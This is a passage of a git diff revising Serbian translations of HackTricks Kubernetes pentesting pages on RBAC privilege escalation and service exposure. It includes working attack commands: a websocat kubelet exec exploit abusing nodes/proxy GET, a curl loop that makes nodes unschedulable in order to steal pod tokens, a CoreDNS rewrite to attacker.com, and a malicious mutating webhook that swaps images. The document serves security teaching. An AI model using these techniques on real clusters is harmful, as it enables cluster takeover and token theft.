u AWS) klasterima mogu da dobiju privilegije cluster admina prepisivanjem **aws-auth** configmap-a.\ -Potrebne operacije su **`update`** i **`patch`**, ili **`create`** ako configmap nije kreiran: +Principals that can modify **`configmaps`** u namespace kube-system na EKS (moraju biti u AWS) klasterima mogu da dobiju cluster admin privilegije tako što će prepisati **aws-auth** configmap.\ +Potreban su verbovi **`update`** i **`patch`**, ili **`create`** ako configmap nije bio kreiran: ```bash # Check if config map exists get configmap aws-auth -n kube-system -o yaml @@ -537,18 +541,18 @@ groups: - system:masters ``` > [!WARNING] -> Možete koristiti **`aws-auth`** za **persistence** dajući pristup korisnicima iz **drugih naloga**. +> Možete koristiti **`aws-auth`** za **persistence** tako što ćete dati pristup korisnicima iz **other accounts**. > -> Međutim, `aws --profile other_account eks update-kubeconfig --name ` **ne radi iz drugog naloga**. Ali zapravo `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` radi ako umesto imena stavite ARN klastera.\ -> Da bi `kubectl` radio, samo se pobrinite da **konfigurišete** **victims kubeconfig** i u aws exec args dodate `--profile other_account_role` tako da kubectl koristi profil drugog naloga da dobije token i kontaktira AWS. +> Međutim, `aws --profile other_account eks update-kubeconfig --name ` **ne radi iz different acount**. Ali zapravo `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` radi ako umesto samo imena stavite ARN klastera.\ +> Da bi `kubectl` radio, samo se pobrinite da **konfigurišete** **victims kubeconfig** i u aws exec args dodajte `--profile other_account_role` tako da će `kubectl` koristiti profil drugog naloga da dobije token i kontaktira AWS. ### CoreDNS config map -Ako imate dozvole da izmenite **`coredns` configmap** u `kube-system` namespace-u, možete izmeniti adresu na koju će domeni biti rešavani kako biste mogli izvršiti MitM napade radi **krađe osetljivih informacija ili ubrizgavanja malicioznog sadržaja**. +Ako imate dozvole da modifikujete **`coredns` configmap** u `kube-system` namespace, možete izmeniti na koje će se adrese domeni razrešavati kako biste mogli da izvedete MitM napade da biste **ukrali osetljive informacije ili ubacili zlonamerni sadržaj**. -Potrebni verbi su **`update`** i **`patch`** nad **`coredns`** configmap-om (ili svim config maps). +Potrebni verbs su **`update`** i **`patch`** nad **`coredns`** configmap (ili nad svim config maps). -Uobičajeni **coredns file** sadrži nešto ovako: +Običan **coredns file** sadrži nešto poput ovoga: ```yaml data: Corefile: | @@ -578,48 +582,48 @@ reload loadbalance } ``` -Napadač može da ga preuzme pokretanjem `kubectl get configmap coredns -n kube-system -o yaml`, izmeni ga dodavanjem nečega poput `rewrite name victim.com attacker.com` tako da kad god se pristupi `victim.com` zapravo će biti pristupljeno domenu `attacker.com`. Zatim ga primeni pokretanjem `kubectl apply -f poison_dns.yaml`. +Napadač bi mogao da ga preuzme pokretanjem `kubectl get configmap coredns -n kube-system -o yaml`, izmeni ga dodavanjem nečega poput `rewrite name victim.com attacker.com` tako da svaki put kada se pristupi `victim.com`, zapravo domen koji će biti dostupan bude `attacker.com`. Zatim to primeni pokretanjem `kubectl apply -f poison_dns.yaml`. -Druga opcija je jednostavno izmeniti fajl pokretanjem `kubectl edit configmap coredns -n kube-system` i napraviti izmene. +Druga opcija je da jednostavno izmeni fajl pokretanjem `kubectl edit configmap coredns -n kube-system` i napravi izmene. ### Eskalacija u GKE -Postoje **2 načina da se dodelе K8s dozvole GCP principalima**. U svakom slučaju principal takođe treba dozvolu **`container.clusters.get`** da bi mogao da prikupi kredencijale za pristup klasteru, ili ćeš morati da **generišeš sopstveni kubectl config fajl** (prati sledeći link). +Postoje **2 načina da se dodele K8s dozvole GCP principalima**. U svakom slučaju principal takođe mora da ima dozvolu **`container.clusters.get`** da bi mogao da prikupi kredencijale za pristup klasteru, ili će biti potrebno da **generišeš sopstveni kubectl config fajl** (prati sledeći link). > [!WARNING] -> Kada se razgovara sa K8s api endpoint-om, biće poslat **GCP auth token**. Zatim, GCP, preko K8s api endpoint-a, prvo **proveri da li principal** (po email-u) **ima bilo kakav pristup unutar klastera**, potom će proveriti da li ima **bilo kakav pristup preko GCP IAM**.\ -> Ako je **bilo koji** od tih **istinito**, biće mu **odgovoreno**. Ako **nije**, biće vraćena **greška** koja sugeriše da se dodele **dozvole preko GCP IAM**. +> Kada se komunicira sa K8s api endpointom, **GCP auth token će biti poslat**. Zatim će GCP, kroz K8s api endpoint, prvo **proveriti da li principal** (po emailu) **ima bilo kakav pristup unutar klastera**, a zatim će proveriti da li ima **bilo kakav pristup preko GCP IAM**.\ +> Ako je **bilo koji** od tih uslova **tačan**, dobiće **odgovor**. Ako **nije**, biće prikazana **greška** koja sugeriše da se dodele **dozvole preko GCP IAM**. -Dakle, prvi metod je korišćenje **GCP IAM**, K8s dozvole imaju svoje **ekvivalentne GCP IAM dozvole**, i ako principal ima te dozvole, moći će da ih koristi. +Prvi metod je korišćenje **GCP IAM**, K8s dozvole imaju svoje **ekvivalentne GCP IAM dozvole**, i ako ih principal ima, moći će da ih koristi. {{#ref}} ../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md {{#endref}} -Drugi metod je **dodeljivanje K8s dozvola unutar klastera** identifikujući korisnika po njegovom **email-u** (uključujući GCP service accounts). +Drugi metod je **dodeljivanje K8s dozvola unutar klastera** identifikujućem korisniku preko njegove **email adrese** (uključeni su i GCP service accounts). ### Kreiranje tokena za serviceaccounts -Principali koji mogu da **create TokenRequests** (`serviceaccounts/token`) — kada razgovaraju sa K8s api endpoint-om, mogu da dobiju token-e service account-a (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). +Principali koji mogu da **kreiraju TokenRequests** (`serviceaccounts/token`) kada se komunicira sa K8s api endpointom SAs (info od [**ovde**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)). ### ephemeralcontainers -Principali koji mogu da **`update`** ili **`patch`** **`pods/ephemeralcontainers`** mogu steći **izvršavanje koda na drugim pod-ovima**, i potencijalno **break out** na njihov node dodavanjem ephemeral container-a sa privileged securityContext-om +Principali koji mogu da **`update`** ili **`patch`** **`pods/ephemeralcontainers`** mogu da dobiju **code execution na drugim podovima**, i potencijalno da **pobegnu** na svoj node dodavanjem ephemeral container-a sa privileged securityContext ### ValidatingWebhookConfigurations or MutatingWebhookConfigurations -Principali sa bilo kojim od glagola `create`, `update` ili `patch` nad `validatingwebhookconfigurations` ili `mutatingwebhookconfigurations` mogu biti u mogućnosti da kreiraju jednu od takvih webhook konfiguracija kako bi mogli da **eskaliraju privilegije**. +Principali sa bilo kojim od glagola `create`, `update` ili `patch` nad `validatingwebhookconfigurations` ili `mutatingwebhookconfigurations` možda mogu da **kreiraju jedan od takvih webhookconfigurations** kako bi mogli da **eskaliraju privilegije**. -For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller). +Za primer [`mutatingwebhookconfigurations` pogledaj ovaj deo ovog posta](#malicious-admission-controller). -### Escalate +### Eskaliraj -Kao što možeš pročitati u sledećoj sekciji: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), principal ne može ni da ažurira ni da kreira roles ili clusterroles bez toga da sam poseduje te nove dozvole. Osim ako ima **verb `escalate` or `*`** over **`roles`** or **`clusterroles`** and the respective binding options.\ -Tada može da ažurira/kreira nove roles, clusterroles sa boljim dozvolama nego koje on ima. +Kao što možeš da pročitaš u sledećem delu: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), principal ne može da ažurira niti da kreira roles ili clusterroles bez toga da sam već ima te nove dozvole. Osim ako ima **glagol `escalate` ili `*`** nad **`roles`** ili **`clusterroles`** i odgovarajuće binding opcije.\ +Tada može da ažurira/kreira nove roles, clusterroles sa boljim dozvolama nego što ih već ima. ### Nodes proxy -Principali sa pristupom do **`nodes/proxy`** subresursa mogu **izvršavati kod u podovima** preko Kubelet API-ja (prema [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Više informacija o Kubelet autentifikaciji na ovoj stranici: +Principali sa pristupom podresursu **`nodes/proxy`** mogu da **izvrše code na podovima** preko Kubelet API-ja (prema [**ovome**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Više informacija o Kubelet autentikaciji na ovoj stranici: {{#ref}} ../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md @@ -627,12 +631,12 @@ Principali sa pristupom do **`nodes/proxy`** subresursa mogu **izvršavati kod u #### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion -- Kubelet preslikava HTTP metode u RBAC glagole **pre** nego što dođe do nadogradnje protokola. WebSocket handshakes moraju početi sa **HTTP GET** (`Connection: Upgrade`), pa se `/exec` preko WebSocket-a proverava kao **verb `get`** umesto očekivanog `create`. -- `/exec`, `/run`, `/attach`, and `/portforward` nisu eksplicitno mapirani i potpadaju pod podrazumevani **`proxy`** subresource, tako da autorizaciono pitanje postaje **`can get nodes/proxy?`** -- Ako token ima samo **`nodes/proxy` + `get`**, direktan WebSocket pristup kubelet-u na `https://:10250` dozvoljava proizvoljno izvršavanje komandi u bilo kom pod-u na tom nodu. Isti zahtev preko API server proxy puta (`/api/v1/nodes//proxy/exec/...`) se odbija zato što je to običan HTTP POST i mapira se na `create`. -- Kubelet ne vrši drugu autorizaciju nakon WebSocket nadogradnje; samo se inicijalni GET procenjuje. +- Kubelet mapira HTTP metode na RBAC glagole **pre** nadogradnje protokola. WebSocket handshake mora da počne sa **HTTP GET** (`Connection: Upgrade`), pa se `/exec` preko WebSocket-a proverava kao **glagol `get`** umesto očekivanog `create`. +- `/exec`, `/run`, `/attach`, i `/portforward` nisu eksplicitno mapirani i upadaju u podrazumevani podresurs **`proxy`**, pa se pitanje autorizacije svodi na **`can get nodes/proxy?`** +- Ako token ima samo **`nodes/proxy` + `get`**, direktan WebSocket pristup kubelet-u na `https://:10250` omogućava proizvoljno izvršavanje komandi u bilo kom podu na tom node-u. Isti zahtev preko API server proxy putanje (`/api/v1/nodes//proxy/exec/...`) je odbijen jer je to običan HTTP POST i mapira se na `create`. +- Kubelet ne vrši drugu autorizaciju nakon WebSocket nadogradnje; evaluira se samo početni GET. -**Direktan exploit (zahteva mrežnu dostupnost do kubelet-a i token sa `nodes/proxy` GET):** +**Direktni exploit (zahteva mrežnu dostupnost kubelet-u i token sa `nodes/proxy` GET):** ```bash kubectl auth can-i --list | grep "nodes/proxy" websocat --insecure \ @@ -640,13 +644,13 @@ websocat --insecure \ --protocol "v4.channel.k8s.io" \ "wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id" ``` -- Koristite **Node IP**, a ne ime node-a. Isti zahtev sa `curl -X POST` biće **Forbidden** zato što se mapira na `create`. -- Direktan pristup kubelet-a zaobilazi API server, tako da AuditPolicy prikazuje samo `subjectaccessreviews` od kubelet user agenta i **ne beleži `pods/exec`** komande. -- Enumerišite pogođene service accounts pomoću [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) da pronađete tokens ograničene na `nodes/proxy` GET. +- Koristite **Node IP**, a ne ime noda. Isti zahtev sa `curl -X POST` će biti **Forbidden** jer se mapira na `create`. +- Direktan pristup kubelet-u zaobilazi API server, pa AuditPolicy prikazuje samo `subjectaccessreviews` od kubelet user agent-a i **ne beleži `pods/exec`** komande. +- Nabrojte pogođene service accounts pomoću [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) da biste pronašli tokene ograničene na `nodes/proxy` GET. -### Brisanje pods + onemogućavanje raspoređivanja na nodes +### Delete pods + unschedulable nodes -Subjekti koji mogu **izbrisati pods** (`delete` verb over `pods` resource), ili **izbaciti pods** (`create` verb over `pods/eviction` resource), ili **promeniti status poda** (pristup `pods/status`) i mogu **učiniti druge nodes nepodesnim za raspoređivanje** (pristup `nodes/status`) ili **izbrisati nodes** (`delete` verb over `nodes` resource) i imaju kontrolu nad jednim podom, mogu **ukrasti pods sa drugih nodes** tako da se oni **izvrše** na **kompromitovanom** **node-u** i napadač može **ukrasti the tokens** iz tih podova. +Principals koji mogu da **delete pods** (`delete` verb nad `pods` resource), ili **evict pods** (`create` verb nad `pods/eviction` resource), ili **change pod status** (pristup `pods/status`) i mogu da **make other nodes unschedulable** (pristup `nodes/status`) ili **delete nodes** (`delete` verb nad `nodes` resource) i imaju kontrolu nad podom, mogli bi da **steal pods from other nodes** tako da se **executed** na **compromised** **node** i napadač može da **steal the tokens** iz tih podova. ```bash patch_node_capacity(){ curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]' @@ -657,43 +661,43 @@ while true; do patch_node_capacity ; done & kubectl delete pods -n kube-system ``` -### Status servisa (CVE-2020-8554) +### Services status (CVE-2020-8554) -Subjekti koji mogu **izmeniti** **`services/status`** mogu postaviti polje `status.loadBalancer.ingress.ip` da iskoriste **neispravljen CVE-2020-8554** i pokrenu **MiTM napade protiv klastera**. Većina mitigacija za CVE-2020-8554 sprečava samo ExternalIP services (prema [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). +Principals koji mogu da **modify** **`services/status`** mogu da postave polje `status.loadBalancer.ingress.ip` kako bi iskoristili **unfixed CVE-2020-8554** i pokrenuli **MiTM attacks against the cluster**. Većina mitigations za CVE-2020-8554 samo sprečava ExternalIP services (prema [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)). -### Status čvorova i podova +### Nodes and Pods status -Subjekti koji imaju **`update`** ili **`patch`** dozvole nad `nodes/status` ili `pods/status`, mogu izmeniti labele da utiču na primenjena ograničenja raspoređivanja. +Principals sa **`update`** ili **`patch`** permissions nad `nodes/status` ili `pods/status`, mogu da modifikuju labels kako bi uticali na enforced scheduling constraints. -## Ugrađena zaštita od eskalacije privilegija +## Built-in Privileged Escalation Prevention -Kubernetes ima [ugrađen mehanizam](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) za sprečavanje eskalacije privilegija. +Kubernetes ima [built-in mechanism](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) za sprečavanje privilege escalation. -Ovaj sistem osigurava da **korisnici ne mogu povisiti svoje privilegije modifikovanjem rola ili role binding-a**. Sprovođenje ovog pravila vrši se na nivou API-ja, obezbeđujući zaštitu čak i kada je RBAC authorizer neaktivan. +Ovaj sistem osigurava da **users cannot elevate their privileges by modifying roles or role bindings**. Enforcement ovog pravila se dešava na API nivou, pružajući zaštitu čak i kada je RBAC authorizer neaktivan. -Pravilo predviđa da **korisnik može kreirati ili ažurirati rolu samo ako poseduje sve dozvole koje ta rola obuhvata**. Štaviše, obim postojećih dozvola korisnika mora biti usklađen sa obimom role koju pokušava da kreira ili izmeni: ili na nivou klastera za ClusterRoles ili ograničen na isti namespace (ili na nivou klastera) za Roles. +Pravilo nalaže da **user can only create or update a role if they possess all the permissions the role comprises**. Takođe, scope postojećih permissions korisnika mora da odgovara scope-u role koju pokušava da kreira ili modifikuje: ili cluster-wide za ClusterRoles ili ograničeno na isti namespace (ili cluster-wide) za Roles. > [!WARNING] -> Postoji izuzetak od prethodnog pravila. Ako subjekt ima **verb `escalate`** nad **`roles`** ili **`clusterroles`**, može povećati privilegije rola i clusterrole čak i bez posedovanja tih dozvola. +> Postoji izuzetak od prethodnog pravila. Ako principal ima **verb `escalate`** nad **`roles`** ili **`clusterroles`** može da poveća privileges role-ova i clusterrole-ova čak i bez toga da sam ima te permissions. ### **Get & Patch RoleBindings/ClusterRoleBindings** > [!CAUTION] -> **Izgleda da je ova tehnika ranije radila, ali prema mojim testovima više ne funkcioniše iz istog razloga objašnjenog u prethodnom odeljku. Ne možete kreirati/izmeniti rolebinding da biste sebi ili drugom SA dodelili neke privilegije ako ih već nemate.** +> **Apparently this technique worked before, but according to my tests it's not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don't have already.** -Dozvola za kreiranje Rolebinding-a omogućava korisniku da **veže role za service account**. Ova dozvola može potencijalno dovesti do eskalacije privilegija jer **omogućava korisniku da veže admin privilegije za kompromitovani service account.** +Privilege da se kreiraju Rolebindings omogućava korisniku da **bind roles to a service account**. Ovaj privilege može potencijalno da dovede do privilege escalation jer **allows the user to bind admin privileges to a compromised service account.** -## Ostali napadi +## Other Attacks ### Sidecar proxy app -Podrazumevano ne postoji enkripcija u komunikaciji između podova. Mutual authentication, dvosmerna, pod-to-pod. +Podrazumevano nema nikakve enkripcije u komunikaciji između pods .Mutual authentication, two-way, pod to pod. -#### Kreirajte sidecar proxy aplikaciju +#### Create a sidecar proxy app -Sidecar container se sastoji u dodavanju **drugog (ili više) kontejnera unutar poda**. +Sidecar container se sastoji samo od dodavanja **second (or more) container inside a pod**. -Na primer, sledeće je deo konfiguracije poda sa 2 kontejnera: +Na primer, sledeće je deo konfiguracije poda sa 2 containera: ```yaml spec: containers: @@ -703,15 +707,15 @@ image: nginx image: busybox command: ["sh","-c",""] ``` -For example, to backdoor an existing pod with a new container you could just add a new container in the specification. Note that you could **give more permissions** to the second container that the first won't have. +Na primer, da biste backdoor-ovali postojeći pod sa novim container-om, mogli biste jednostavno da dodate novi container u specification. Imajte na umu da biste mogli da **date više permissions** drugom container-u nego što ih prvi neće imati. Više informacija na: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) -### Zlonamerni Admission Controller +### Malicious Admission Controller -An admission controller **presreće zahteve ka Kubernetes API serveru** pre nego što se objekat bude perzistiran, ali **nakon što je zahtev autentifikovan** **i autorizovan**. +An admission controller **presreće requests ka Kubernetes API serveru** pre persistence objekta, ali **nakon što je request autentikovan** **i authorized**. -Ako napadač nekako uspe da **inject a Mutation Admission Controller**, biće u mogućnosti da **izmeni već autentifikovane zahteve**. To može potencijalno dovesti do privesc-a, a češće omogućiti perzistenciju u cluster-u. +Ako napadač nekako uspe da **injectuje Mutation Admission Controller**, biće u mogućnosti da **modifikuje već autentikovane requests**. Time potencijalno može da privesc-uje, a češće i da persistuje u cluster-u. **Primer iz** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers): ```bash @@ -725,23 +729,25 @@ Proverite status da vidite da li je spremno: kubectl get mutatingwebhookconfigurations kubectl get deploy,svc -n webhook-demo ``` -Zatim pokrenite novi pod: +![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp) + +Zatim deploy-uj novi pod: ```bash kubectl run nginx --image nginx kubectl get po -w ``` -Kada vidite grešku `ErrImagePull`, proverite ime image-a pomoću bilo kojeg od sledećih upita: +Kada možete da vidite `ErrImagePull` error, proverite ime image pomoću jednog od upita: ```bash kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}' kubectl describe po nginx | grep "Image: " ``` ![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp) -Kao što se vidi na gornjoj slici, pokušali smo da pokrenemo image `nginx`, ali je konačno izvršen image `rewanthtammana/malicious-image`. Šta se upravo desilo!!? +Kao što možete videti na slici iznad, pokušali smo da pokrenemo image `nginx`, ali je konačno izvršeni image `rewanthtammana/malicious-image`. Šta se upravo dogodilo!!? -#### Tehničke pojedinosti +#### Technicalities -Skript `./deploy.sh` uspostavlja mutating webhook admission controller, koji menja zahteve ka Kubernetes API kako je navedeno u linijama njegove konfiguracije, utičući na posmatrane rezultate: +`./deploy.sh` script uspostavlja mutating webhook admission controller, koji menja zahteve upućene Kubernetes API-ju kako je navedeno u njegovim konfiguracionim linijama, utičući na rezultate koji su primećeni: ``` patches = append(patches, patchOperation{ Op: "replace", @@ -749,7 +755,7 @@ Path: "/spec/containers/0/image", Value: "rewanthtammana/malicious-image", }) ``` -Gornji isječak zamenjuje prvu sliku kontejnera u svakom podu sa `rewanthtammana/malicious-image`. +Gornji isečak zamenjuje prvu container image u svakom pod-u sa `rewanthtammana/malicious-image`. ## OPA Gatekeeper bypass @@ -757,20 +763,20 @@ Gornji isječak zamenjuje prvu sliku kontejnera u svakom podu sa `rewanthtammana ../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md {{#endref}} -## Najbolje prakse +## Best Practices -### **Onemogućavanje automount-a tokena servisnog naloga** +### **Onemogućavanje automatskog montiranja Service Account tokena** -- **Pods and Service Accounts**: Po defaultu, podovi montiraju token servisnog naloga. Da bi se poboljšala bezbednost, Kubernetes omogućava onemogućavanje ove automount funkcije. -- **How to Apply**: Set `automountServiceAccountToken: false` in the configuration of service accounts or pods starting from Kubernetes version 1.6. +- **Pods i Service Accounts**: Podrazumevano, pods montiraju service account token. Da bi se povećala bezbednost, Kubernetes omogućava onemogućavanje ove automatske opcije montiranja. +- **Kako primeniti**: Postavite `automountServiceAccountToken: false` u konfiguraciji service account-a ili pod-a počev od Kubernetes verzije 1.6. ### **Restriktivno dodeljivanje korisnika u RoleBindings/ClusterRoleBindings** -- **Selective Inclusion**: Uverite se da su u RoleBindings ili ClusterRoleBindings uključeni samo neophodni korisnici. Redovno pregledajte i uklanjajte nebitne korisnike kako biste održali strogu bezbednost. +- **Selektivno uključivanje**: Obavezno uključite samo neophodne korisnike u RoleBindings ili ClusterRoleBindings. Redovno proveravajte i uklanjajte nerelevantne korisnike kako biste održali strogu bezbednost. -### **Uloge specifične za namespace umesto uloga na nivou klastera** +### **Roles specifične za namespace umesto cluster-wide Roles** -- **Roles vs. ClusterRoles**: Preferirajte korišćenje Roles i RoleBindings za dozvole specifične za namespace umesto ClusterRoles i ClusterRoleBindings, koje važe na nivou celog klastera. Ovakav pristup daje finiju kontrolu i ograničava obim dozvola. +- **Roles vs. ClusterRoles**: Prednost dajte korišćenju Roles i RoleBindings za dozvole specifične za namespace, umesto ClusterRoles i ClusterRoleBindings, koji važe cluster-wide. Ovaj pristup nudi precizniju kontrolu i ograničava opseg dozvola. ### **Koristite automatizovane alate** diff --git a/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md index 9b27dbe86..ce7045029 100644 --- a/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md +++ b/src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md @@ -1,12 +1,12 @@ -# Izlaganje usluga u Kubernetesu +# Exposing Services in Kubernetes {{#include ../../banners/hacktricks-training.md}} -Postoje **različiti načini za izlaganje usluga** u Kubernetesu tako da i **interni** i **eksterni** krajnji tačke mogu da im pristupe. Ova Kubernetes konfiguracija je prilično kritična jer administrator može dati pristup **napadačima uslugama kojima ne bi trebali imati pristup**. +Postoje **različiti načini za izlaganje services** u Kubernetes tako da im mogu pristupiti i **internal** endpoints i **external** endpoints. Ova Kubernetes konfiguracija je prilično kritična jer administrator može da omogući pristup **attackers** services kojima ne bi trebalo da mogu da pristupe. -### Automatska enumeracija +### Automatic Enumeration -Pre nego što počnete da enumerišete načine na koje K8s nudi izlaganje usluga javnosti, znajte da ako možete da listate namespace-ove, usluge i ingrese, možete pronaći sve što je izloženo javnosti sa: +Pre nego što počneš da enumerišeš načine koje K8s nudi za izlaganje services javnosti, znaj da ako možeš da izlistaš namespaces, services i ingresses, možeš da pronađeš sve što je exposed to the public sa: ```bash kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do echo "Namespace: $ns" @@ -20,21 +20,21 @@ done | grep -v "ClusterIP" ``` ### ClusterIP -**ClusterIP** servis je **podrazumevani** Kubernetes **servis**. Omogućava vam **servis unutar** vašeg klastera kojem mogu pristupiti druge aplikacije unutar vašeg klastera. **Nema spoljnog pristupa**. +A **ClusterIP** service je **podrazumevani** Kubernetes **service**. On vam daje **service unutar** vašeg klastera kom druge aplikacije unutar klastera mogu da pristupe. **Nema spoljnog pristupa**. -Međutim, ovo se može pristupiti koristeći Kubernetes Proxy: +Međutim, ovome se može pristupiti koristeći Kubernetes Proxy: ```bash kubectl proxy --port=8080 ``` -Sada možete navigirati kroz Kubernetes API da biste pristupili uslugama koristeći ovu shemu: +Sada možete da se krećete kroz Kubernetes API da biste pristupili servisima koristeći ovu šemu: `http://localhost:8080/api/v1/proxy/namespaces//services/:/` -Na primer, možete koristiti sledeći URL: +Na primer, mogli biste da koristite sledeći URL: `http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/` -da biste pristupili ovoj usluzi: +da biste pristupili ovom servisu: ```yaml apiVersion: v1 kind: Service @@ -50,21 +50,21 @@ port: 80 targetPort: 80 protocol: TCP ``` -_Ova metoda zahteva da pokrenete `kubectl` kao **autentifikovani korisnik**._ +_Ovaj metod zahteva da pokrećete `kubectl` kao **autentifikovan korisnik**._ -Nabrojte sve ClusterIP-ove: +List all ClusterIPs: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP ``` ### NodePort -Kada se koristi **NodePort**, određeni port je dostupan na svim čvorovima (koji predstavljaju virtuelne mašine). **Saobraćaj** usmeren na ovaj specifičan port se sistematski **usmerava ka servisu**. Obično, ova metoda se ne preporučuje zbog svojih nedostataka. +Kada se koristi **NodePort**, određeni port se otvara na svim Nodes (koji predstavljaju Virtual Machines). **Traffic** usmeren ka tom konkretnom portu zatim se sistematski **usmerava ka service-u**. Uobičajeno, ovaj metod se ne preporučuje zbog svojih nedostataka. -Lista svih NodePort-ova: +List all NodePorts: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort ``` -Primer specifikacije NodePort: +Primer NodePort specifikacije: ```yaml apiVersion: v1 kind: Service @@ -81,28 +81,30 @@ targetPort: 80 nodePort: 30036 protocol: TCP ``` -Ako **ne navedete** **nodePort** u yaml-u (to je port koji će biti otvoren), koristiće se port u **opsegu 30000–32767**. +Ako **ne navedete** **nodePort** u yaml-u (to je port koji će biti otvoren), koristiće se port iz **opsega 30000–32767**. -### LoadBalancer +### LoadBalancer -Izlaže Servis spolja **koristeći load balancer provajdera u oblaku**. Na GKE, ovo će pokrenuti [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) koji će vam dati jedinstvenu IP adresu koja će preusmeriti sav saobraćaj na vaš servis. U AWS-u će pokrenuti Load Balancer. +Izlaže Service eksterno **koristeći cloud provider-ov load balancer**. Na GKE-u, ovo će podići [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) koji će vam dati jednu IP adresu koja će prosleđivati sav traffic na vaš service. U AWS-u će pokrenuti Load Balancer. -Morate plaćati za LoadBalancer po izloženom servisu, što može biti skupo. +Morate da platite za LoadBalancer po izloženom service-u, što može biti skupo. -Lista svih LoadBalancera: +List all LoadBalancers: ```bash kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer ``` -### Eksterne IP adrese +### External IPs > [!TIP] -> Eksterne IP adrese su izložene od strane usluga tipa Load Balancers i obično se koriste kada se koristi eksterna Cloud Provider Load Balancer. +> External IPs su izložene putem servisa tipa Load Balancers i generalno se koriste kada se koristi eksterni Cloud Provider Load Balancer. > -> Da biste ih pronašli, proverite load balancere sa vrednostima u polju `EXTERNAL-IP`. +> Za pronalaženje, proveri load balancers sa vrednostima u polju `EXTERNAL-IP`. -Saobraćaj koji ulazi u klaster sa **eksternom IP adresom** (kao **odredišna IP adresa**), na portu usluge, biće **usmeren na jedan od krajnjih tačaka usluge**. `externalIPs` nisu upravljane od strane Kubernetesa i odgovornost su administratora klastera. +Saobraćaj koji ulazi u cluster sa **external IP** (kao **destination IP**), na portu Service-a, biće **rutiran ka jednom od Service endpointa**. `externalIPs` ne upravlja Kubernetes i odgovornost su cluster administratora. -U specifikaciji usluge, `externalIPs` mogu biti navedene zajedno sa bilo kojim od `ServiceTypes`. U sledećem primeru, "`my-service`" može biti pristupljeno od strane klijenata na "`80.11.12.10:80`" (`externalIP:port`) +`externalIPs` je osetljivo polje za kontrolu ruta jer korisnik koji može da ga postavi može da preuzme saobraćaj za IP adresu nad kojom vlasnik Service-a ne bi trebalo da ima kontrolu, ako okolna mreža rutira taj IP ka clusteru. Kubernetes je najavio deprecaciju i planirano uklanjanje Service `externalIPs` u v1.36, zato gde god je moguće koristi mehanizme izlaganja koje kontroliše controller, kao što su LoadBalancer integracije ili Gateway API, i pažljivo ograniči/admituj ovo polje dok još postoji. + +U Service spec, `externalIPs` može biti naveden zajedno sa bilo kojim od `ServiceTypes`. U primeru ispod, "`my-service`" može biti dostupan klijentima na "`80.11.12.10:80`" (`externalIP:port`) ```yaml apiVersion: v1 kind: Service @@ -121,9 +123,9 @@ externalIPs: ``` ### ExternalName -[**Iz 